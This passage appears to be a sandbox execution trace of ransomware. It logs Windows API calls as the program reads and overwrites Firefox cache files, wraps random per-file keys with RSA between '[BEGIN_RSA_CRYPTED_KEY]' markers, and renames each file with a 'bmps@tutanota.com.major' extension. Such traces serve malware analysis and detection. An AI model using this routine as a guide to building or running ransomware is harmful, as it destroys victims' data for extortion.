(lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A7BF4A4AFAC2FAA5D43E00B8B6F97C8428E85E85" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a7bf4a4afac2faa5d43e00b8b6f97c8428e85e85"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A7BF4A4AFAC2FAA5D43E00B8B6F97C8428E85E85.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a7bf4a4afac2faa5d43e00b8b6f97c8428e85e85.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.717] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.717] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A66AB26A6D4AABE1F79FA29D48C1D4FF1D0131CD", dwFileAttributes=0x80) returned 1 [0258.718] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x5d4d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x5d4d, lpOverlapped=0x0) returned 1 [0258.734] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-23885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.734] WriteFile (in: hFile=0x1b84, lpBuffer=0x344bda0*, nNumberOfBytesToWrite=0x5d4d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344bda0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5d4d, lpOverlapped=0x0) returned 1 [0258.735] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5d4d [0258.735] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.735] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.735] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.735] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="UhmjrX36c6TkojvWergTccQpcUxCElKCDTlBEzBwVSe5D1It80DwnG32u775+HuP\nYgx0hRo0FqZC5CKyKazgkz1B2zdCcBeKfFN/TLPeeRCu4AK8J2/Av34prUV5YaXM\n6/tRQ0nJs9ZDDgOMRVrogp4spl94+tY1OZcQcToluFdkq8xmXFNbCa+LmRZixVSB\n9hmpI6LUUWqQPJj/LDne0gRT3gyqHBhvsMw7OrnZpNu2JMSbHyuPEWyz6wll8te3\nMO+DbUKY/U715If7wbmsNyL3HeCL9U8ShS5jobGCbghPMofJwjniYOWG5XuZi2iV\niv3ufeF/hMJ0+Sbe7YJXTw==\n", pcchString=0x2e3f9a8) returned 1 [0258.736] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.736] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.736] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.736] CloseHandle (hObject=0x1b84) returned 1 [0258.737] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A66AB26A6D4AABE1F79FA29D48C1D4FF1D0131CD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a66ab26a6d4aabe1f79fa29d48c1d4ff1d0131cd"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A66AB26A6D4AABE1F79FA29D48C1D4FF1D0131CD.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a66ab26a6d4aabe1f79fa29d48c1d4ff1d0131cd.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.778] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.778] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A615D0218839BB4F69554EB267C1FE664667EE08", dwFileAttributes=0x80) returned 1 [0258.778] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xf73, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xf73, lpOverlapped=0x0) returned 1 [0258.780] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3955, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.780] WriteFile (in: hFile=0x1b84, lpBuffer=0x34427b8*, nNumberOfBytesToWrite=0xf73, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34427b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf73, lpOverlapped=0x0) returned 1 [0258.781] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf73 [0258.781] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.781] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.781] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.781] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.781] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.782] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7vYgFRZ5JM8UTOVOxTEltWS/fUJJN16IrVRPEU5Ht58R5NkZmatOjr0SbAYvy6uZ\n7/qO39KBuQHqkM+n3dCcmLoPw7ToeZ0wOGse99VjiYfPMJBAZW35heAlWk2cI1b9\nWpweixV2GujrvbMzWCy5RhmmYHUPTWy/6vj9EvoC4lWHQfeiixZPdcXmuvu7Jpja\n8PXtgVj7rTHZVhg041Nr8MJWK+ZxycdTNyi/MnKmVVdcSzKM+RLWoprQJmVg3RSw\nJ39WK2ZugSdmERwv4yF0Uakb8bruo91WrbMyi8iqqITKDAsKjmvH8nFaGLCvk0Xs\ncrjgi3hWWxX0QBR+V3t8CA==\n", pcchString=0x2e3f9a8) returned 1 [0258.782] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.782] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.782] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.782] CloseHandle (hObject=0x1b84) returned 1 [0258.782] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A615D0218839BB4F69554EB267C1FE664667EE08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a615d0218839bb4f69554eb267c1fe664667ee08"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A615D0218839BB4F69554EB267C1FE664667EE08.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a615d0218839bb4f69554eb267c1fe664667ee08.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.793] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.793] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5CE6011CBC78912C62950EF4D2F8EC1217240B0", dwFileAttributes=0x80) returned 1 [0258.793] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0x1303, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0x1303, lpOverlapped=0x0) returned 1 [0258.803] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4867, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.803] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442b48*, nNumberOfBytesToWrite=0x1303, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442b48*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1303, lpOverlapped=0x0) returned 1 [0258.804] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1303 [0258.804] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.804] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.804] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.804] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.805] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.805] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZZ9/zuuLaPs1MpIaJoKFU1eAzpOIzI/RRCTgKn/bcP/dBMoZvLAJf7J6LKO7WHwT\nAKyXb4U1ux5kEBttCnEYcsuSdpsrmbtAJRdlRtpgJ9V5xFhM4aq8bPZ7jbu8J9cI\nX1Xy/pDtuN5H+ZTW+A7D8fGJwQo1PYdHZhlLmyJu3j5hla2CxowPtcZjiOWsAKTo\n6o+BOXTucWLM1Lt4aaqaq321/oJPf8fHkbXGGC7+jVu98jnNvzsKbSbCmVxWPsTg\nyxgYN8ST/yNGA//REOLFhxILTPzJP1fevVpsJwNjnucYam2pTzPNEdqaDAUdjeO4\nnvLt0+K6HSWXSjJhUoRcZw==\n", pcchString=0x2e3f9a8) returned 1 [0258.805] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.805] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.805] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.805] CloseHandle (hObject=0x1b84) returned 1 [0258.806] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5CE6011CBC78912C62950EF4D2F8EC1217240B0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5ce6011cbc78912c62950ef4d2f8ec1217240b0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5CE6011CBC78912C62950EF4D2F8EC1217240B0.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5ce6011cbc78912c62950ef4d2f8ec1217240b0.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.808] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.808] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5C0CB54BAD412C796D80B551C555C6B675E0A72", dwFileAttributes=0x80) returned 1 [0258.808] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0x10fd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0x10fd, lpOverlapped=0x0) returned 1 [0258.839] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.840] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442940*, nNumberOfBytesToWrite=0x10fd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442940*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10fd, lpOverlapped=0x0) returned 1 [0258.840] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10fd [0258.840] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.840] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.841] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.841] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.841] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.841] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ke2AhJp1nUFTV6BOMnpsubybm9XyvyExhOGpg4+13+UGG5PmbAfrzNQFJZQjHHJn\nHZ09kY9ZNdW78i3e+GTitD33X6g+5mIveGyrOLaP9l3bMRgCKNHhgfiW7g3s0NCu\n3obzio7WdZmMRR7wvdxqWLfwMeyiqQJGNbzBYBMTOHt3ZwCGOB7DDXu1lqQDpG6Q\nZFbsWPfzATXwOgbzRoJDnuEe/0kyAgOYOxZHx6eEYkl7a7rxSm7LtClJ9YcAkmuB\n8aSRcP6LBs1R5FLaVSccdcs45pSAuSjozVuGnF15vnulKrBn3JfJUfcqQmiPy7Wo\nAcPWQsGMtKyTNxfiLPDedg==\n", pcchString=0x2e3f9a8) returned 1 [0258.841] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.842] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.842] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.842] CloseHandle (hObject=0x1b84) returned 1 [0258.842] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5C0CB54BAD412C796D80B551C555C6B675E0A72" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5c0cb54bad412c796d80b551c555c6b675e0a72"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5C0CB54BAD412C796D80B551C555C6B675E0A72.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5c0cb54bad412c796d80b551c555c6b675e0a72.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.845] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.845] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A502A052A0BC8AACB6E486CD6C3F6ECEF2F6DEEE", dwFileAttributes=0x80) returned 1 [0258.846] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0x3c5e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0x3c5e, lpOverlapped=0x0) returned 1 [0258.853] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-15454, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.853] WriteFile (in: hFile=0x1b84, lpBuffer=0x3446048*, nNumberOfBytesToWrite=0x3c5e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3c5e, lpOverlapped=0x0) returned 1 [0258.853] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3c5e [0258.853] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.854] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.854] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.854] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.854] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.854] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mbGlSpVIM9oGCRtQ///AdJ9As5v3SZK//EddQXhxZNCGfi9LlRn1xhG9Ajxt66r2\ndwuIREa9+Qw1g6hvf1exbiLRlEIV3+PKQ5Btks8J8G9WR8dL9/nbayMEb00RBuFM\nbYYHPfvEdKpP74N+D4OALebu4JeOAKEl+0nM5tfc9jG792tv9GcvmlIO04dSKm3s\ni9Mz9Q3cSDvs/e9wVrF6RmjrVUjpqibyiEDHwexyAQt4PBRyPjt+bYWdn1luA5TC\nv/DUzynoRGPC7a1VKs4+ApA9OI6YkhugRfFSzLiUbkYE57orO3LWJR5znXS9F9r1\n+cQLBQ9XR8mA0s+yY7fSPQ==\n", pcchString=0x2e3f9a8) returned 1 [0258.854] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.855] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.855] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.855] CloseHandle (hObject=0x1b84) returned 1 [0258.855] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A502A052A0BC8AACB6E486CD6C3F6ECEF2F6DEEE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a502a052a0bc8aacb6e486cd6c3f6ecef2f6deee"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A502A052A0BC8AACB6E486CD6C3F6ECEF2F6DEEE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a502a052a0bc8aacb6e486cd6c3f6ecef2f6deee.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.886] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.886] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A452E838FF9E4634826BE621406D0A260DAB4FD8", dwFileAttributes=0x80) returned 1 [0258.887] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x335, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x335, lpOverlapped=0x0) returned 1 [0258.903] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-821, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.903] WriteFile (in: hFile=0x1b84, lpBuffer=0x66e948*, nNumberOfBytesToWrite=0x335, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesWritten=0x2e3f9b4*=0x335, lpOverlapped=0x0) returned 1 [0258.903] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x335 [0258.904] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.904] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.904] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.904] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.904] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.905] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 